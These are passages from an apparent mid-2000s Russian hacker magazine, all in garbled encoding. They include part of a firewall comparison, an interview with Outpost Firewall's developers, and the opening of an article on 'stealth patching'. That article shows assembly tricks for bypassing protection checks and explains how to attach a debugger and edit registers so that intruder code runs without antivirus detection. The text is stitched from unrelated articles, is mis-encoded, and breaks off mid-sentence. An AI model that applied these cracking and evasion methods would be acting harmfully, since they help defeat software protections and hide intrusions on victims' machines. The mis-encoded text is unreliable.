ëåì íå ñóùåñòâóåò, è óïîðíî çàêðû-
âàëè ãëàçà íà ðåçóëüòàòû íåçàâèñè-
ìûõ èñïûòàíèé. Íî âðåìåíà èçìåíè-
ëèñü, è ïðîãðàììèñòû âñåðüåç çàíÿ-
ëèñü ñâîåé ðàáîòîé.

Âîïðîñ "êàêóþ ñòåíó âûáðàòü" � ýòî,
êîíå÷íî, ëè÷íîå äåëî. Ñóùåñòâóåò
ìíîæåñòâî ïîäîáíûõ ïðèëîæåíèé, íî
îíè äîëæíû îáÿçàòåëüíî ïîäâåðãàòü-

ñÿ ïîäîáíûì ýêçàìåíàì. Ìû âûáðàëè
òðè ñàìûõ ïîïóëÿðíûõ ôàéðâîëà, îíè
çàñëóæåííî çàâîåâàëè ïî÷åò è óâà-
æåíèå ïîëüçîâàòåëåé. Êàæäûé èç íèõ
ïðåäñòàâëÿåò ñîáîé íå ïðîñòî ÏÔ, à
öåëûé êîìïëåêñ ïî îáåñïå÷åíèþ áå-
çîïàñíîñòè ìàøèíû â Ñåòè. Â
ZoneAlarm Security Suite, íàïðèìåð,
âêëþ÷åíî ñðåäñòâî, ïðåäîõðàíÿþùåå
ïåðåãîâîðû â IM. Òàêæå ôèøêîé
Alarm'à ÿâëÿåòñÿ òî, ÷òî ê ëþáîìó
ïðåäóïðåæäåíèþ ôàéðâîëà ìîæíî
ïîëó÷èòü ïîäðîáíîå ðàçúÿñíåíèå íà
îôèöèàëüíîì ñàéòå. Ïðè÷åì äëÿ ýòî-
ãî ñîâñåì íå îáÿçàòåëüíî äîëãî áðî-
äèòü ïî html-ñòðàíè÷êàì - íóæíî ïðîñ-
òî êëèêíóòü íà êíîïî÷êå "Èíôî" â
òðåâîæíîì îêîøêå.

Outpost òîæå î÷åíü õîðîø. Ïîìèìî
ñòàíäàðòíûõ äëÿ âñåõ ïåðñîíàëüíûõ
ñåòåâûõ ýêðàíîâ ôóíêöèé (ðåçêà
âñïëûâàþùèõ îêîí, ñîõðàíåíèå êîí-
ôèäåíöèàëüíîé èíôîðìàöèè è ò.ä.), ê
íåìó ìîæíî ïðèêðó÷èâàòü äîïîëíè-
òåëüíûå ïðîãðàììíûå ìîäóëè.

Kerio Personal Firewall ïðîñò â íàñò-
ðîéêå è äîñòàòî÷íî íàäåæåí, ê òîìó
æå îí èìååò âîçìîæíîñòü ïåðåõâàòà
çàïóñêà àáñîëþòíî âñåõ ïðèëîæåíèé,
à íå òîëüêî òåõ, êîòîðûå õîòÿò â Ñåòü.

Âûáîð îñòàåòñÿ çà ïîëüçîâàòåëåì�
Íåêîòîðûì íóæíà ïðîñòîòà è ëåãêîñòü
íàñòðîéêè, íåêîòîðûì - âûñîêàÿ ñòå-
ïåíü çàùèòû, è èì íå æàëêî ïîòðà-
òèòü íåñêîëüêî ÷àñîâ íà äåòàëüíóþ
êîíôèãóðàöèþ ôàéðâîëà, à íåêîòî-
ðûì íóæåí ïîëíûé êîíòðîëü íàä ñèñ-
òåìîé â ðåæèìå îíëàéí. 

Âñå ïðîäóêòû è òåñòû, îïèñàííûé â
ýòîé ñòàòüå, òû ìîæåøü íàéòè íà íà-
øåì äèñêå. E
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Òðåâîæíîå îêîøêî Kerio

Òðåâîæíîå îêîøêî Outpost

Ñêàíèðîâàíèå ïîðòîâ íà HackerWatch



Àíäðåé Êàðîëèê (andrusha@real.xakep.ru)

Ê îãäà-òî Outpost Firewall áûë ìàëîèçâåñòåí (î íåì ñëûøàëè, íî ìàëî êòî ïðîáîâàë), ïîçæå îí ïðî÷íî çàíÿë ñâîå
ìåñòî ñðåäè ôàéðâîëîâ íàðàâíå ñ äðóãèìè ïîïóëÿðíûìè îòå÷åñòâåííûìè ðàçðàáîòêàìè. Ìû ðåøèëè óçíàòü

ïîáîëüøå îá Outpost'å îò åãî ðàçðàáîò÷èêîâ.

ÈÍÒÅÐÂÜÞ 
Ñ AGNITUM
ÂÎÏÐÎÑÛ ÐÀÇÐÀÁÎÒ×ÈÊÀÌ OUTPOST FIREWALL

XXSS:: Îòêóäà òàêàÿ íà-
ïðàâëåííîñòü - ôàéð-
âîëû? Åñòü ëè äðóãèå
ðàçðàáîòêè èëè ýòî îñ-
íîâíîå è åäèíñòâåííîå

íàïðàâëåíèå? 

ÌÌèèõõààèèëë ÏÏååííüüêêîîââññêêèèéé,, êêîîììììååðð÷÷ååññêêèèéé
ääèèððååêêòòîîðð êêîîììïïààííèèèè ""ÀÀããííèèòòóóìì"":: Ýòî, åñ-
ëè ìîæíî òàê âûðàçèòüñÿ, íàøà ñóäü-
áà. Ñàìîé ïåðâîé óòèëèòîé, âûøåä-
øåé "èç-ïîä êëàâèàòóðû" íàøåé êîì-
ïàíèè, áûë Jammer (Äæàììåð), äàëå-
êèé ïðîîáðàç òîãî Outpost'à, èçâåñò-
íîãî âñåì. Äàáû ïîíÿòü ðàçíèöó,
ïðåäñòàâü äîïîòîïíûé âåëîñèïåä è
ñðàâíè åãî ñ ñîâðåìåííûì ìîòîöèê-
ëîì. Äæàììåð îáåñïå÷èâàë çàùèòó îò
àòàê òðîÿíñêèìè âèðóñàìè, à òàêæå
ïîçâîëÿë îñóùåñòâëÿòü ïðîñòåéøèé
êîíòðîëü íàä ïðèëîæåíèÿìè, ïûòàþ-
ùèìèñÿ óñòàíîâèòü èíòåðíåò-ñîåäè-
íåíèÿ. Èìåííî áëàãîäàðÿ óñïåõó
Äæàììåðà ìû ñìîãëè íà÷àòü ðàçðà-
áîòêó Outpost Firewall, ñäåëàâ èíâåñ-
òèöèè â ðàñøèðåíèå øòàòà êîìïàíèè.
Outpost Firewall Pro ïîçâîëèë íàì
âûéòè íà ïðèíöèïèàëüíî íîâûé óðî-
âåíü êàê ñ òî÷êè çðåíèÿ òåõíîëîãèè,
òàê è ñ òî÷êè çðåíèÿ áèçíåñà. Ìû äà-
ëè ðûíêó íå ïðîñòî ïðîãðàììó, à "ïðî-
äóêò" âî âñåõ ñìûñëàõ ýòîãî ñëîâà.
Áëàãîäàðÿ ôàéðâîëó ìû âûðîñëè èç
ìàëåíüêîé êîìàíäû èç ïÿòè ýíòóçèàñ-
òîâ è óäàëåííîé ðàáîòû íà äîìó äî
ñòðåìèòåëüíî ðàñòóùåé êîìïàíèè,
ñîñòîÿùåé èç 30-òè ïðîôåññèîíàëîâ. 

XXSS:: Êàêèå ïðîáëåìû ïðè ñîçäàíèè
âîçíèêàëè, êàê âû ðåøàëè èõ?

ÌÌèèõõààèèëë ÏÏååííüüêêîîââññêêèèéé:: Ñòîèò îòìå-
òèòü, ÷òî çà ëþáûì óñïåøíûì ïðîäóê-
òîì èëè òåõíîëîãèåé ñòîÿò òàëàíòëè-
âûå ëþäè, êîòîðûå áûëè îáúåäèíåíû
îáùåé èäåé. Â ñëó÷àå ñ "Àãíèòóìîì"
âñå èìåííî òàê: íà êàæäîì ýòàïå íà-
øåãî ðàçâèòèÿ íàì óäàâàëîñü ïðèâëå-
êàòü â êîìïàíèþ òàëàíòëèâûõ ðàçðà-
áîò÷èêîâ, ïðîãðàììèñòîâ, òåñòåðîâ è
èíæåíåðîâ ïîääåðæêè. Ïîýòîìó "íå-
ðàçðåøèìûõ" òåõíè÷åñêè çàäà÷ íà
ýòàïå ðàçðàáîòêè ïðîäóêòà ïðîñòî íå
áûëî, ïî êðàéíåé ìåðå ìû âñåãäà îòíî-

ñèìñÿ ê òðóäíîñòÿì êàê ê "ðåøàåìûì".
È âðåìÿ ïîêàçàëî, ÷òî òàê îíî è åñòü.

XXSS:: Ñóùåñòâóåò ëè ñåé÷àñ â Ðîññèè
êðèçèñ ðàçðàáîòêè ïîäîáíîãî ÏÎ?

ÌÌèèõõààèèëë ÏÏååííüüêêîîââññêêèèéé:: Îïûò íàøèõ
êîëëåã èç Ëàáîðàòîðèè Êàñïåðñêîãî
ïîêàçûâàåò, ÷òî â Ðîññèè ìîæíî çàðà-
áàòûâàòü äîñòîéíûå ñðåäñòâà íà ðàç-
ðàáîòêå è ïðîäàæå ÏÎ. Ïðîáëåìà ïè-
ðàòñòâà, êîíå÷íî, åñòü, íî îíà íå òàê
àêòóàëüíà, êàê ïÿòü-ñåìü ëåò íàçàä. Â
äàííûé ìîìåíò Ðîññèÿ äåëèò òðåòüå-
÷åòâåðòîå ìåñòà ñ Àíãëèåé â îáúåìå
ïðîäàæ êîìïàíèè "Àãíèòóì", óñòóïàÿ
ëèøü Ãåðìàíèè è ÑØÀ. È ýòî ëîãè÷-
íî: âî âñåì ìèðå ïðîèçâîäèòåëè ïîëó-
÷àþò áîëüøóþ äîëþ ïðèáûëè ñ ëî-
êàëüíûõ ðûíêîâ. Ýòî îòðàæàåòñÿ è íà
íàøåé àêòèâíîñòè íà ìåæäóíàðîäíûõ
ðûíêàõ. Èìåííî â ÑØÀ, Ãåðìàíèè è
Ðîññèè ìû íàèáîëåå àêòèâíî èíâåñòè-
ðóåì êîìïëåêñ ìàðêåòèíãà è ðàçâèâà-
åì êàíàëû ñáûòà. 

XXSS:: Êàê áîðåòåñü ñ ïèðàòàìè?

ÌÌèèõõààèèëë ÏÏååííüüêêîîââññêêèèéé:: Ñ 2002 ïî
2004 ãîä ìû óäâàèâàëè îáúåìû ïðî-
äàæ, à â 2005 ãîäó ðîñò îòíîñèòåëüíî
ïðîøëîãî ãîäà ñîñòàâëÿåò 50%, ÷òî
òàêæå ÿâëÿåòñÿ õîðîøèì ðåçóëüòà-

òîì. Ïðè ïîäñ÷åòàõ òàê íàçûâàåìûõ
óáûòêîâ îò äåÿòåëüíîñòè ïèðàòîâ
ìíîãèå çàáûâàþò, ÷òî äàëåêî íå âñå
ïîêóïàòåëè âèðòóàëüíûõ ôëèáóñòüå-
ðîâ ãîòîâû ïðèîáðåñòè ïðîäóêò ïî
îôèöèàëüíîé ñòîèìîñòè, ïîýòîìó
ðå÷ü èäåò íå îá "óáûòêàõ", à îá óïó-
ùåííîé ïîòåíöèàëüíîé ïðèáûëè. À
ýòî, ñîãëàñèñü, ðàçíûå âåùè. Ê òîìó
æå â ñëó÷àå ñ Outpost'îì ó íàñ äîñòà-
òî÷íî ñëîæíàÿ äëÿ âçëîìà ñèñòåìà
ðåãèñòðàöèîííûõ êëþ÷åé, ÷òî ñóùåñò-
âî ñíèæàåò ïèðàòñêîå ðàñïðîñòðàíå-
íèå.

XXSS:: Êàêèå íîó-õàó ðåàëèçîâàíû â
Outpost? Èëè æå â íåì áûëè èñïîëü-
çîâàíû õîðîøî îôîðìëåííûå ÷óæèå
íàðàáîòêè?
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ÌÌèèõõààèèëë ÏÏååííüüêêîîââññêêèèéé:: Íàäî ïîíè-
ìàòü, ÷òî âñå ïðîèçâîäèòåëè íàõîäÿò-
ñÿ â îäíîì è òîì æå èíôîðìàöèîííîì
ïðîñòðàíñòâå. Åñëè ñåãîäíÿ ìû ðåàëè-
çîâàëè èíòåðåñíóþ èäåþ, òî çàâòðà
áîëüøèíñòâî êîíêóðåíòîâ äîáàâÿò åå
â ñâîè ïðîäóêòû. Â ñâîþ î÷åðåäü, ìû
òàêæå àíàëèçèðóåì äåÿòåëüíîñòü êîí-
êóðåíòîâ è èíîãäà áåðåì íà âîîðóæå-
íèå èõ èäåè, àäàïòèðîâàâ è óëó÷øèâ
èõ íà ñâîé ëàä. Áåç ýòîãî íåâîçìîæåí
ïðîãðåññ, è ðàçðàáîòêà ïðîãðàììíûõ
ïðîäóêòîâ çäåñü íè÷åì íå îòëè÷àåòñÿ
îò ðàçðàáîòêè íîâûõ àâòîìîáèëåé.
Outpost ïðåæäå âñåãî âûäåëÿåò ñåáÿ
ñðåäè êîíêóðåíòîâ óðîâåíåì áåçîïàñ-
íîñòè, êîòîðûé ïîëó÷àåò ïîëüçîâà-
òåëü, óñòàíîâèâ ïðîäóêò íà ñâîþ ñèñ-
òåìó. Ïîñëåäíèå äâà ãîäà ìû óñèëåí-
íî ðàáîòàåì èìåííî íàä ýòèì êîìïî-
íåíòîì, ñäåëàâ âûñîêèå çàùèòíûå
ñâîéñòâà ñâîåîáðàçíîé âèçèòíîé êàð-
òî÷êîé Outpost'à. Â êàæäîé íîâîé âåð-
ñèè ìû óêðåïëÿåì áðîíþ ôàéðâîëà
íîâûìè ìåõàíèçìàìè, îïðàâäûâàÿ
îæèäàíèÿ íàøèõ ïîëüçîâàòåëåé. Âòî-
ðàÿ îòëè÷èòåëüíàÿ ÷åðòà - êîìïëåêñ-
íûé ïîäõîä ê íàñòðîéêàì ïðîäóêòà.
Outpost ìîæåò îñâîèòü è íîâè÷îê, è
ïðîäâèíóòûé ïîëüçîâàòåëü. Ïåðâûé
ìîæåò âîñïîëüçîâàòüñÿ àâòîìàòè÷åñ-
êèìè íàñòðîéêàìè, íå óãëóáëÿÿñü â
äåòàëè. Âòîðîé æå ïðèÿòíî óäèâèòñÿ
áîãàòñòâó îïöèé ïî êîíôèãóðàöèè çà-
ùèòû ôàéðâîëà. Â îòëè÷èå îò
Outpost'à, äðóãèå ôàéðâîëû ñäåëàíû
ëèáî äëÿ íîâè÷êîâ, ÷òî äåëàåò èõ èñ-
ïîëüçîâàíèå áåññìûñëåííûì äëÿ
ïûòëèâûõ ïîëüçîâàòåëåé, ëèáî äëÿ
ïðîôåññèîíàëîâ, ÷òî äåëàåò íåâîç-
ìîæíûì èõ ïîòðåáëåíèå ñðåäíåñòà-
òèñòè÷åñêèìè ïîëüçîâàòåëÿìè.

XXSS:: Óñïåõ áûë îáåñïå÷åí ìàðêåòèí-
ãîì èëè ïðåèìóùåñòâàìè ïðîäóêòà?

ÌÌèèõõààèèëë ÏÏååííüüêêîîââññêêèèéé:: ß áû ðàññìàò-
ðèâàë òåõíè÷åñêóþ ðåàëèçàöèþ è
ìàðêåòèíãîâóþ ñòðàòåãèþ êàê êîìï-
ëåêñ ìåð, êîòîðûé è ïîçâîëèë íàì äî-
áèòüñÿ óñïåõà. Òàê, âûïóñòèâ ïåðâóþ
âåðñèþ ïðîäóêòà ñ îòëè÷íûìè òåõíè-
÷åñêèìè õàðàêòåðèñòèêàìè, ìû áûëè

ñëèøêîì ìàëåíüêîé êîìïàíèåé è íå
îáëàäàëè ñðåäñòâàìè äëÿ îðãàíèçà-
öèè ðåêëàìíîé êàìïàíèè, íî ÷èñòî
ìàðêåòèíãîâàÿ èäåÿ ïî âûïóñêó áåñï-
ëàòíîé âåðñèè ñ îãðàíè÷åííûì ôóíê-
öèîíàëîì ïîçâîëèëà íàì âçÿòü ðåç-
âûé ñòàðò è çàâîåâàòü áîëüøóþ ïîïó-
ëÿðíîñòü ó ïîëüçîâàòåëåé, ýêñïåðòîâ
ïî áåçîïàñíîñòè è ïðåññû. Åñëè áû
ïðîäóêò áûë ñëàáûì, òî óñïåõà áû íå
áûëî, ðàâíî êàê áåç ýòîé èäåè ìû íå
ñìîãëè áû òàê áûñòðî ïðîâåñòè ïðî-
ìîóøåí ïðîäóêòà ïðè òàêîì áþäæåòå.
Äàëüíåéøèå íàøè óñïåõè îïÿòü æå
ñâÿçàíû ñ ïðàâèëüíîé ìàðêåòèíãîâîé
ñòðàòåãèåé è îòëè÷íîé òåõíè÷åñêîé
ðåàëèçàöèåé.

XXSS:: Ñîòðóäíè÷àåòå ëè âû ñ õàêåðàìè,
÷òîáû áûòü áëèæå ê ïðîáëåìå? Êàêèå
öåëè äàëüíåéøåãî ñîâåðøåíñòâîâà-
íèÿ ôàéðâîëà?

ÌÌèèõõààèèëë ÏÏååííüüêêîîââññêêèèéé:: Íåò, íå ñîò-
ðóäíè÷àåì. Öåëè îïðåäåëÿåì èñõîäÿ
èç òðåõ ïðèíöèïîâ: òðåáîâàíèÿ ðûíêà,
ñîáñòâåííûå èííîâàöèè è òðåáîâàíèÿ
ñóùåñòâóþùèõ ïîëüçîâàòåëåé.

XXSS:: Êàêèå ïðîáëåìû ôàéðâîë íå ìî-
æåò ðåøèòü?

ÀÀëëååêêññååéé ÁÁååëëêêèèíí,, òòååõõííèè÷÷ååññêêèèéé ññïïååööèè-
ààëëèèññòò êêîîììïïààííèèèè ""ÀÀããííèèòòóóìì"":: Â äàííûé

ìîìåíò ìû íå ìîæåì íàéòè è óäàëèòü
âèðóñû, áëîêèðîâàòü ñïàì. Íî ýòî
ïðåäìåò áóäóùèõ ðàçðàáîòîê.

XXSS:: Êàêîå áóäóùåå ó ôàéðâîëîâ?
×åì çàêîí÷èòñÿ ãîíêà âîîðóæåíèé õà-
êåðîâ è ðàçðàáîò÷èêîâ?

ÀÀëëååêêññååéé ÁÁååëëêêèèíí:: Ãîíêà áóäåò ïðî-
äîëæàòüñÿ, íî ñâîè êîððåêòèâû áóäóò
âíîñèòü íîâûå âåðñèè îïåðàöèîííûõ
ñèñòåì è Windows, â ÷àñòíîñòè. Òàêæå
íå ñòîèò ñáðàñûâàòü ñî ñ÷åòîâ âàðè-
àíò ñîçäàíèÿ öåíòðàëèçîâàííîãî îð-
ãàíà êîíòðîëÿ ïîëüçîâàòåëåé à-ëÿ
ïðîäâèíóòûé Net-Passport. Îäíàêî
ïîëíîñòüþ ðåøèòü ïðîáëåìó õàêåðîâ
è óãðîç êîìïüþòåðíîé áåçîïàñíîñòè
ïðàêòè÷åñêè íåâîçìîæíî. Ïðîáëåìà
êðèìèíàëüíîé àêòèâíîñòè ñóùåñòâóåò
ñ ñàìîãî ðîæäåíèÿ ÷åëîâå÷åñòâà,
ïðîñòî ñåé÷àñ ìû íàáëþäàåì åå â
äðóãîé ñðåäå - âèðòóàëüíîé. Êàê è ëþ-
áàÿ ñèñòåìà, íàøà âñå âðåìÿ êîëåá-
ëåòñÿ ìåæäó ñîñòîÿíèÿìè ðàâíîâåñèÿ
è ïðåèìóùåñòâà êàêîé-ëèáî èç ñòî-
ðîí. Äîñòàòî÷íî èíòåðåñåí èíòåëëåê-
òóàëüíûé àíàëèç àêòèâíîñòè ïðèëî-
æåíèé, õîòÿ, êàê ïîêàçûâàåò ïðàêòèêà,
â íàñòîÿùåå âðåìÿ ýâðèñòè÷åñêèå
àíàëèçàòîðû óæå íå ñòîëü ïîïóëÿð-
íû, êàê ðàíåå. Ïðîøó ïðîùåíèÿ çà áà-
íàëüíîñòü, íî î÷åíü õîðîøèé õàêåð
âñåãäà ñìîæåò îáîéòè ëþáóþ çàùèòó.
Òî, ÷òî â íàñòîÿùåå âðåìÿ ïîíèìàåò-
ñÿ ïîä èíòåëëåêòóàëüíûì àíàëèçîì
àêòèâíîñòè, êàê ïðàâèëî, äîâîëüíî
ïðèìèòèâíûå ìåõàíèçìû, íå íàìíîãî
ñëîæíåå ëîãèêè êîôåâàðîê. Óìåñòíà
àíàëîãèÿ ñ îõðàíîé âûñîêîïîñòàâëåí-
íûõ ëèö. Îíà íèêîãäà íå ñìîæåò äàòü
100% ãàðàíòèþ áåçîïàñíîñòè, íî ìî-
æåò çàùèòèòü îò 99% ïðîöåíòîâ âîç-
ìîæíûõ áåä, èñõîäÿùèõ îò ñðåäíå è
ñëàáî ïîäãîòîâëåííûõ çëîóìûøëåí-
íèêîâ. Ìû äàåì ïîëüçîâàòåëþ âîç-
ìîæíîñòü áûòü ñïîêîéíûì äî òåõ ïîð,
ïîêà èì íå çàèíòåðåñóþòñÿ "ãóðó". È
ñòðåìèìñÿ íå ê òîìó, ÷òîáû îáåñïå-
÷èòü íåâîçìîæíûå 100%, à ê òîìó,
÷òîáû ñäåëàòü íàèáîëåå êîìôîðòíîé
ðàáîòó â ðàìêàõ òåõ 99%, êîòîðûå ìî-
æåì ïðåäîñòàâèòü. E

49

S
E

C
U

R
I

T
Y

-
Ô

Î
Ê

Ó
Ñ

Û



Êðèñ Êàñïåðñêè àêà ìûùúõ (no e-mail)

Õ àêåðñêèå ìåòîäèêè ñîâåðøåíñòâóþòñÿ, ìåæäó òåì øèðîêîé êðýêåðñêîé îáùåñòâåííîñòè íè÷åãî îá ýòîì íå
èçâåñòíî. Õîäÿò êàêèå-òî íåÿñíûå ñëóõè, íî ïîøàãîâîé èíñòðóêöèè âçëîìà íèêòî íå ïðåäëàãàåò. Ìû ðàñêóñèëè

íåêîòîðûå ìàëîèçâåñòíûå ñïîñîáû âçëîìà êëèåíòñêèõ ïðèëîæåíèé.

STEALTH PATCHING
ÑÂÎÈÌÈ ÐÓÊÀÌÈ
ÌÀËÎÈÇÂÅÑÒÍÛÅ ÑÏÎÑÎÁÛ ÂÇËÎÌÀ

ÎÁÇÎÐ ÑÏÎÑÎÁÎÂ
ÂÇËÎÌÀ

Êëèåíòñêèå ïðèëî-
æåíèÿ ìîæíî ëîìàòü
ïî-ðàçíîìó. Âîçìîæ-

íîñòåé ïðîñòî ìîðå, ãëàâíîå - èìåòü
ôàíòàçèþ, òîãäà ýòî íå õàêåðñòâî, à ñà-
ìàÿ íàñòîÿùàÿ êàìàñóòðà ïîëó÷àåòñÿ!
Îäíè õàêåðû ïðåäïî÷èòàþò ëîêàëüíûé
âçëîì, äðóãèå - óäàëåííûé. Ñåé÷àñ ïî-
ãîâîðèì î ëîêàëüíîì âçëîìå. Íà ñàìîì
äåëå â õàêåðñêîì ìèðå âñå âçàèìîñâÿ-
çàíî, è ëîêàëüíûé âçëîì ìîæíî ðàñ-
ñìàòðèâàòü êàê çàêëþ÷èòåëüíóþ ñòà-
äèþ óäàëåííîé àòàêè.

Áóäåì èñõîäèòü èç òîãî, ÷òî íà âðà-
æåñêîì êîìïüþòåðå óæå íàõîäèòñÿ
ñîáñòâåííûé êîä õàêåðà. Çàáðîñèòü
åãî ìîæíî ðàçëè÷íûìè ïóòÿìè. Íàï-
ðèìåð, íàéòè ïåðåïîëíÿþùèéñÿ áó-
ôåð è çàòîëêàòü â íåãî shell-êîä èëè
çàðÿäèòü ýëåêòðîííîå ïèñüìî "íåõî-
ðîøèì" âëîæåíèåì. Â îáùåì, ýòà ìå-
òîäèêà óæå äàâíî îòðàáîòàíà è îòø-
ëèôîâàíà äî çåðêàëüíîãî áëåñêà. Âè-
ðóñû, ÷åðâè, òðîÿíñêèå ëîøàäè òàê è
ïðóò - òîëüêî óñïåâàé çàòûêàòü äûðû.
À êîëè÷åñòâî äûð, îáíàðóæåííûõ â
Windows çà ïîñëåäíèå ïîëãîäà, ïåðå-
õîäèò âñå ãðàíèöû òåðïèìîñòè è ãóìà-

íèçìà. Êàæäûé ìåñÿö ïðèõîäèòñÿ êà-
÷àòü ïî ïîëñòà ìåòðîâ çàïëàòîê, ïðàê-
òè÷åñêè âñå èç íèõ êðèòè÷åñêèå. Íî
êòî êà÷àåò èõ? Òàê, ñ÷èòàííûå åäèíè-
öû! Êîðàáëü ïîä íàçâàíèåì
"Windows" äàë ñåðüåçíóþ òå÷ü, òðåñ-
íóâ ïî âñåì øâàì. Ìèëëèîíû íåçàëà-
òàíûõ ìàøèí æäóò ñâîåãî ÷àñà! 

Ëîêàëüíîå âîçäåéñòâèå íà àòàêóå-
ìóþ ìàøèíó äî ñèõ ïîð çàìàë÷èâàåò-
ñÿ êàê ñïåöèàëèñòàìè ïî èíôîðìàöè-
îííîé áåçîïàñíîñòè, òàê è õàêåðàìè.
Äàëüøå ïðèìèòèâíûõ ìåòîäîâ ñîêðû-
òèÿ ôàéëîâ è ïðîöåññîâ äåëî îáû÷íî
íå èäåò. Âûçûâàòü native-API îïåðàöè-
îííîé ñèñòåìû ìîæíî, íî... áåñïîëåç-
íî. Çàðàçèòü NTOSKRNL.EXE òàêèì
ñïîñîáîì âñå ðàâíî íå óäàñòñÿ, ê òîìó
æå ëþáàÿ ìîäèôèêàöèÿ ñèñòåìíûõ
ôàéëîâ ñëèøêîì çàìåòíà. Ëó÷øå âî-
åâàòü ñ èñïîëíÿåìûìè ôàéëàìè ïðÿ-
ìî â ïàìÿòè!

ÌÎÄÈÔÈÊÀÖÈß ÁÅÇ
ÈÇÌÅÍÅÍÈß

Êëàññèêà � ýòî íå òîëüêî Äîñòîå-
âñêèé ñ Òîëñòûì, íî è èçìåíåíèå çà-
ùèòíûõ áàéò â ôàéëå èëè ïàìÿòè (áî-
ëåå èçâåñòíîå ïîä èìåíåì "bit hack").
Òàêîé æå äðåâíèé, íåèíòåðåñíûé, íà-

âÿçøèé ó âñåõ íà çóáàõ ïðèåì. Ëåãêî
îáíàðóæèâàåìûé, äà ê òîìó æå þðèäè-
÷åñêè äàëåêî íå áåçóïðå÷íûé. Ìîäè-
ôèêàöèÿ ïðîãðàììíîãî îáåñïå÷åíèÿ -
ýòî ñòàòüÿ. À ñòàòüÿ - ýòî ëàñòû :). "Íå-
ñàíêöèîíèðîâàííûé äîñòóï ê èíôîð-
ìàöèè" è âñå òàêîå.

Ìîæíî ëè õàêíóòü ïðèëîæåíèå, íå
ïðèêàñàÿñü ê íåìó? Âîïðîñ íå òàê
ãëóï, êàê êàæåòñÿ: â íàøåì ðàñïîðÿ-
æåíèè åñòü è ìåíòàëüíûå ìåòîäû.
Ïîïðîñòó ãîâîðÿ, ãîëîâà. Ïóñòü ìû íå
ìîæåì ìîäèôèöèðîâàòü êîä è äàííûå
ïðèëîæåíèÿ, íî íàñèëîâàòü ðåãèñòðû
ïðîöåññîðà íàì íèêòî íå çàïðåùàåò!
Ïðîöåññîð, â îòëè÷èå îò ïðîãðàììíî-
ãî îáåñïå÷åíèÿ, ïðîäàåòñÿ, à íå ëè-
öåíçèðóåòñÿ, òî åñòü ìû ìîæåì äå-
ëàòü ñ íèì âñå, ÷òî âçäóìàåòñÿ.

Ðàññìîòðèì òèïè÷íóþ ïðîãðàììó,
âûçûâàþùóþ çàùèòíóþ ôóíêöèþ, çà
êîòîðîé ñëåäóåò óñëîâíûé ïåðåõîä,
äåéñòâóþùèé ïî ïðèíöèïó "ñâîé-÷ó-
æîé". Â àññåìáëåðíîì âèäå ýòî ìîæåò
âûãëÿäåòü ïðèáëèçèòåëüíî òàê:

CALL check_something
TEST EAX,EAX
JNZ
virus_or_evil_hacker_has_detected_and_will_be_destroy
CALL all_ok_continue_normal_execution

×òî ìîæíî ñäåëàòü? Íå÷åñòíûå âà-
ðèàíòû: à) ïîäïðàâèòü ôóíêöèþ
check_something òàê, ÷òîáû îíà âñåã-
äà âîçâðàùàëà TRUE (XOR
EAX,EAX/DEC EAX/RETN è òåëåìàð-
êåò); á) èçìåíèòü TEST EAX,EAX íà
XOR EAX,EAX, ÷òîáû íåçàâèñèìî îò
ðåçóëüòàòîâ ïðîâåðêè, ðåãèñòð EAX
âñåãäà áûë ðàâåí íóëþ; â) óäàëèòü êî-
ìàíäó JNZ, çàìåíèâ åå îïåðàöèåé
MOV EAX,EAX (òî æå ñàìîå, ÷òî è
NOP, òîëüêî èç äâóõ áàéòîâ). Âñå ýòè
ñïîñîáû ñåðüåçíî êîíôëèêòóþò ñ çà-
êîíîì. Íà òåáÿ ìîãóò íàåõàòü è ñåðü-
åçíî çàòîïòàòü.

À âîò ñðàâíèòåëüíî ÷åñòíûé ìåòîä
âçëîìà: äîæèäàåìñÿ âûõîäà èç ôóíê-
öèè check_something è òóò æå ìîäè-
ôèöèðóåì ðåãèñòð EAX, óñòàíàâëèâàÿ
åãî â 1 èëè â FFh. Ýòî æå íàø ðåãèñòð,
âûêóïëåííûé ó êîìïàíèè Intel (èëè
AMD), è àâòîðñêîå ïðàâî íà íåãî íå
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ðàñïðîñòðàíÿåòñÿ! Íåò-íåò, êîìàíäà
TEST EAX,EAX îñòàåòñÿ íåòðîíóòîé, è
öåëîñòíîñòü ëîìàåìîé ïðîãðàììû íè-
êàê íå íàðóøàåòñÿ. Âîçäåéñòâèþ ïîä-
âåðãàåòñÿ ëèøü ñàì ðåãèñòð.

Êàê âàðèàíò, ìîæíî äîæäàòüñÿ çà-
âåðøåíèÿ âûïîëíåíèÿ êîìàíäû TEST
EAX,EAX è ïîäïðàâèòü ðåãèñòð ôëà-
ãîâ, à òî÷íåå ôëàã Zero. Èëè èçìåíèòü
EIP òàêèì îáðàçîì, ÷òîáû îí ïðûãàë
íà íóæíóþ íàì âåòêó. Íèêàêîé çàêîí
íå ìîæåò çàñòàâèòü íàñ âûïîëíÿòü
òîò êîä, âûïîëíÿòü êîòîðûé ìû íå õî-
òèì! Ýòî æå ñïëîøíîå íàñèëèå ïîëó-
÷àåòñÿ!

Ïðàâäà, õîðîøèõ þðèñòîâ ýòî íå îñ-
òàíîâèò :). Óãîëîâíûé êîäåêñ â ïåð-
âóþ î÷åðåäü ñìîòðèò íà êîíå÷íûé ðå-
çóëüòàò, èãíîðèðóÿ ïóòè åãî äîñòèæå-
íèÿ. Çàðóáèòü ÷åëîâåêà ìîæíî òîïî-
ðîì, êóïëåííûì íà ÷åñòíî çàðàáîòàí-
íûå, íî âðÿä ëè ýòî ñòàíåò îïðàâäàíè-
åì. Äðóãèìè ñëîâàìè, ïîëüçîâàòüñÿ
âçëîìàííîé ïðîãðàììîé âñå ðàâíî
íåçàêîííî. Íî ìû æå è íå ñîáèðàåìñÿ
åé ïîëüçîâàòüñÿ, ìû ñîâñåì äðóãîãî
õîòèì: âíåäðèòüñÿ íà àòàêóåìûé

êîìïüþòåð òàê, ÷òîáû íèêàêàÿ àíòèâè-
ðóñíàÿ ñîáàêà äàæå íå òÿâêíóëà.

Êàê ýòî ìîæíî îñóùåñòâèòü ïðàêòè-
÷åñêè? Ïåðâîå, ÷òî ïðèõîäèò íà óì, -
ïðèñîåäèíèòüñÿ ê àòàêóåìîìó ïðîöåñ-
ñó ïóòåì DebugActiveProcess (èëè îòê-
ðûòü ïðîöåññ ñ ôëàãîì
DEBUG_PROCESS), íåêîòîðîå âðåìÿ
ïîòðàññèðîâàòü åãî, äîæèäàÿñü âû-
ïîëíåíèÿ íóæíîé êîìàíäû, çàòåì
"ïîäðèõòîâàòü" ðåãèñòðû è îòïóñòèòü
